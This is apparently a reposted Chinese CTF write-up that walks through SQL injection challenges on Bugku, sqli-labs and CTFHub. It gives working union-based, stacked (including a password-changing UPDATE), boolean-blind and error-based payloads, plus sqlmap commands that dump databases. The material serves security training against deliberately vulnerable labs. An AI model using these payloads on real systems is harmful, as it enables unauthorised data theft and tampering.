SQL注入--题目

这篇具有很好参考价值的文章主要介绍了SQL注入--题目。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

联合查询注入:

bugku-这是一个神奇的登录框

手工注入:

SQL注入--题目,作业,sql,mybatis,spring

 点吧,输入0’发现还是:

SQL注入--题目,作业,sql,mybatis,spring

输入0" 发现报错:

SQL注入--题目,作业,sql,mybatis,spring

确定可以注入,判断字段有多少个 0"order by 1,2,3# 发现:

 SQL注入--题目,作业,sql,mybatis,spring

 

说明有两列。

输入 0" union select database(),2# ,得到库名:

SQL注入--题目,作业,sql,mybatis,spring

 继续输入 0" union select table_name,2 from information_schema.tables where table_schema=’bugkusql1’ # (0" union select group_concat(table_name),2 from information_schema.tables where table_schema=database()# )得到表名:
继续输入 0" union select column_name,2 from information_schema.columns where table_name=‘flag1’ # 得到列名:

SQL注入--题目,作业,sql,mybatis,spring

继续输入 0" union select flag1,2 from flag1# (爆字段里的内容,中的表明是不加单引号的)得到该列下的值:

SQL注入--题目,作业,sql,mybatis,spring

 sqlmap:

查看一下源码:SQL注入--题目,作业,sql,mybatis,spring

 

是post提交,url明显提示是个sql注入,由于post提交,要sql和burp结合起来使用。

首先burp抓包,抓到包后选择存到txt文件中:(随便输入账号密码)

SQL注入--题目,作业,sql,mybatis,spring

 

我保存到了D:\1.txt

然后打开sqlmap,输入指令:sqlmap.py -r "D:\1.txt" -p admin_name --dbs

解释一下 -r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点) --dbs意思是想获取数据库名字

可以看到sqlmap获得了数据库的名字:

SQL注入--题目,作业,sql,mybatis,spring

应该是这个bugkul1,再继续爆表,命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -p admin_name --tables

解释:-D是表示选择了后面的这个数据库 --tables是想获取表

可以看到爆出了表

应该在flag1这个表里,继续爆列名

命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -p admin_name --columns

解释类似上面 不过加了一个-T 指定表

可以发现爆出了列名

flag1这个列 最后查字段 命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump

解释:同上面 --dump是获取字段的命令

(在这过程中可能会让你选择Y或者N 我直接回车的)

可以看到爆出了flag

SQL注入--题目,作业,sql,mybatis,spring

堆叠注入

Sqlilabs-less38

根据关卡提示,得知 38关 为堆叠注入,页面如下。

SQL注入--题目,作业,sql,mybatis,spring

 如果堆叠注入的情况下,首先是考虑闭合前面的语句,再执行第二个语句;所以构建payload "?id=1';第二条SQL语句 --+" 或者 "?id=1;第二条SQL语句 --+"

SQL注入--题目,作业,sql,mybatis,spring

SQL注入--题目,作业,sql,mybatis,spring

从页面上直观的看当前显示的用户和密码为 “Dumb/Dumb”,姑且猜测当前用户在表中的两个字段 “username”、“password”;

现在尝试一下爆出数据库、表、列名等相关信息。  尝试得到库名 “security”

SQL注入--题目,作业,sql,mybatis,spring

尝试获取 “security” 数据库下的表名 得到[emails,referers,uagents,users]

http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)a));%20--+

得到了一个 “users” 表的信息,现在看一下 “users” 表的列名 [id,username,password]

http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)a));%20--+
构造堆叠注入的payload ?id=1'; update users set password = 'Dumb' where username = 'Dumb'; --+

SQL注入--题目,作业,sql,mybatis,spring

 这里看到 Dumb 用户的密码被改成了 Dumb001 ,说明构建的堆叠注入的 payload 利用成功

布尔盲注

ctfhub布尔注入

SQL注入--题目,作业,sql,mybatis,spring

按照题目意思输入1看看

从这里可以知道

不需要打引号 

哦对了,我们先应该判断是否有注入点,利用真假语句来判断id的值是否可以改变sql语句的变化

SQL注入--题目,作业,sql,mybatis,spring

SQL注入--题目,作业,sql,mybatis,spring

 通过恒真语句and 1=1和恒假语句and 1=2得知id的值可以改变sql语句的走向,说明这里存在注入点,然后便上网查询一下布尔注入应该要用到哪些函数语句

1 and length(database())=4 

SQL注入--题目,作业,sql,mybatis,spring

 可以知道数据库名是四个字符的,然后利用substr(x,1,1)分割函数来一个个试是什么字符,利用ascii的值来判断

SQL注入--题目,作业,sql,mybatis,spring

 可以得知数据库第一个字符的ascii值是大于110的

SQL注入--题目,作业,sql,mybatis,spring

 

 可以确定第一个字符的ascii值就是115也就是s,后面的就不用去猜了,肯定就是sqli了

 接下来我们利用count函数来判断sqli数据库里有几个表

1 and (select count(table_name) from information_schema.tables where table_schema='sqli' )<3

 可以知道少于3张表,我们就可以联想到news和flag了,方法随便用,可以用concat和floor这种方法来判断,但是都离不开ascii和count来判断 

SQL注入--题目,作业,sql,mybatis,spring

 得知第一个表的第一个字符ascii值大于109

利用sqlmap来得知数据库有哪些

sqlmap.py -u 登录的地址 -dbs

虽然有点时间,但是还是比我们手动注入的快的 

然后利用sqlmap.py -u 输入地址 -D sqli --tables来获取数据库里面的表

发现两张表flag和news,我们可以直接去看字段以及数值了 

sqlmap.py -u 地址 -D sqli -T flag --columns --dump

SQL注入--题目,作业,sql,mybatis,spring

 

时间盲注

(这题自己没摸出来,看的网上的wp)主要是脚本问题

CTFHUB SQL注入——时间盲注 附自己写的脚本_ctf 时间盲注_Wuuconix的博客-CSDN博客

请 求头注入--post,get

自己做的题wp:BUGKU CTF——WEB基础 {GET,POST}_get bugku csdn_lulu001128的博客-CSDN博客

sql注入写马

上传一句话木马

报错注入

Sqlilabs-less5
SQL注入--题目,作业,sql,mybatis,spring

 先用万能密码试一下:

 SQL注入--题目,作业,sql,mybatis,spring

 发现报错,可以直接进行报错注入

SQL注入--题目,作业,sql,mybatis,spring

 这里直接查询出数据库名,进行下一步操作:

SQL注入--题目,作业,sql,mybatis,spring

 当我们再次用updatexml函数进行报错注入时发现提示The used SELECT statements have a different number of columns。
猜测是因为updatexml的最大长度是32位,所以换一个函数继续进行注入。

SQL注入--题目,作业,sql,mybatis,spring文章来源地址https://www.toymoban.com/news/detail-607966.html

宽字节注入

【ctf】sql注入——宽字节注入_ctf 宽字节注入_甜不拉几的博客-CSDN博客

二次注入

【CTF】二次注入原理及实战_失控的菜鸡玩家的博客-CSDN博客

到了这里,关于SQL注入--题目的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Mybatis-Plus如何自定义SQL注入器?

    有关Mybatis-Plus常用功能之前有做过一篇总结: MyBatisPlus常用功能总结!(附项目示例) 我们在使用Mybatis-Plus时,dao层都会去继承BaseMapper接口,这样就可以用BaseMapper接口所有的方法, BaseMapper中每一个方法其实就是一个SQL注入器 在Mybatis-Plus的核心(core)包下,提供的默认可注入方

    2023年04月12日
    浏览(51)
  • MyBatis进阶:告别SQL注入!MyBatis分页与特殊字符的正确使用方式

    目录 引言 一、使用正确的方式实现分页 1.1.什么是分页 1.2.MyBatis中的分页实现方式 1.3.避免SQL注入的技巧 二、特殊字符的正确使用方式 2.1.什么是特殊字符 2.2.特殊字符在SQL查询中的作用 2.3.如何避免特殊字符引起的问题 2.3.1.使用CDATA区段  2.3.2.使用实体引用 三、总结和展望

    2024年02月11日
    浏览(40)
  • 【Java】mybatis中#{}和${}导致sql注入问题及解决办法

    使用mybatis的时候遇到了#{}和${}可能导致sql注入的问题 #{} 底层通过prepareStatement对当前传入的sql进行了预编译,一个 #{ } 被解析为一个参数占位符 ?; #{} 解析之后会将String类型的数据自动加上引号,其他数据类型不会 #{} 很大程度上可以防止sql注入(sql注入是发生在编译的过程

    2024年01月17日
    浏览(45)
  • SQL注入原理以及Spring Boot如何防止SQL注入(含详细示例代码)

    点击下载《SQL注入原理以及Spring Boot如何防止SQL注入(含详细示例代码)》 SQL注入是一种针对数据库的攻击技术,攻击者通过在应用程序的输入字段中插入或“注入”恶意的SQL代码,从而在数据库服务器上执行非授权的SQL查询。这种攻击可能导致数据泄露、数据篡改、甚至执

    2024年02月20日
    浏览(43)
  • 网络攻防期末大作业选题:防sql注入的登录网站【网络攻防CTF】(保姆级图文)

    欢迎关注 『网络攻防CTF』 系列,持续更新中 欢迎关注 『网络攻防CTF』 系列,持续更新中 数据库sql搭建 另存为 sql_test.sql 文件导入即可 项目结构如下: 为了美观引用了layui框架(也可以没有,只是样式) Login.html效果图如下: 输入用户名密码测试登陆。 html代码 layui文件可

    2024年02月07日
    浏览(50)
  • Mybatis-Plus的SQL注入器实现批量插入/修改,效率比较

    mysql支持一条sql语句插入多条数据。但是Mybatis-Plus中默认提供的saveBatch、updateBatchById方法并不能算是真正的批量语句,而是遍历实体集合执行INSERT_ONE、UPDATE_BY_ID语句。 mybatis-plus虽然做了分批请求、一次提交的处理。但如果jdbc不启用配置rewriteBatchedStatements,那么批量提交的s

    2024年02月11日
    浏览(50)
  • Spring Boot 中的 SQL 注入攻击是什么,原理,如何预防

    随着互联网的发展,Web 应用程序的数量不断增加,而 SQL 注入攻击也成为了常见的网络安全问题之一。SQL 注入攻击是通过在 Web 应用程序中注入恶意的 SQL 代码,从而获取或篡改数据库中的数据。在 Spring Boot 中,由于使用了 ORM 框架(如 MyBatis、Hibernate 等),开发人员往往会

    2024年02月12日
    浏览(46)
  • 【Spring 篇】深入探讨MyBatis映射文件中的动态SQL

    MyBatis,这个名字在Java开发者的世界中犹如一道光芒,照亮着持久层操作的道路。而在MyBatis的映射文件中,动态SQL则是一个让人爱-hate的存在。有时候,你感叹它的灵活性,有时候,你可能会为它的繁琐而头痛。但别担心,我们将在本文中一起揭开动态SQL的神秘面纱,带你领

    2024年01月24日
    浏览(59)
  • Spring Boot入门(14):使用Mybatis-Plus轻松实现高效自定义SQL操作!

            在上几期,我们既讲了如何整合Mybatis-Plus进行数据库的增删改查,也讲解了如何使用MP的 Wrapper 构造器,但若是遇到复杂业务逻辑,如多表联查、动态拼接条件等,这些操作往往会让代码变得冗长且难以维护。但是,有了Mybatis-Plus这个优秀的框架,我们可以轻松实现

    2024年02月10日
    浏览(44)
  • Spring Boot入门(14):使用Mybatis-Plus执行自定义SQL | 超级详细,建议收藏

            在上几期,我们既讲了如何整合Mybatis-Plus进行数据库的增删改查,也讲解了如何使用MP的 Wrapper 构造器,但若是遇到复杂业务逻辑,如多表联查、动态拼接条件等,这些操作往往会让代码变得冗长且难以维护。但是,有了Mybatis-Plus这个优秀的框架,我们可以轻松实现

    2024年02月12日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包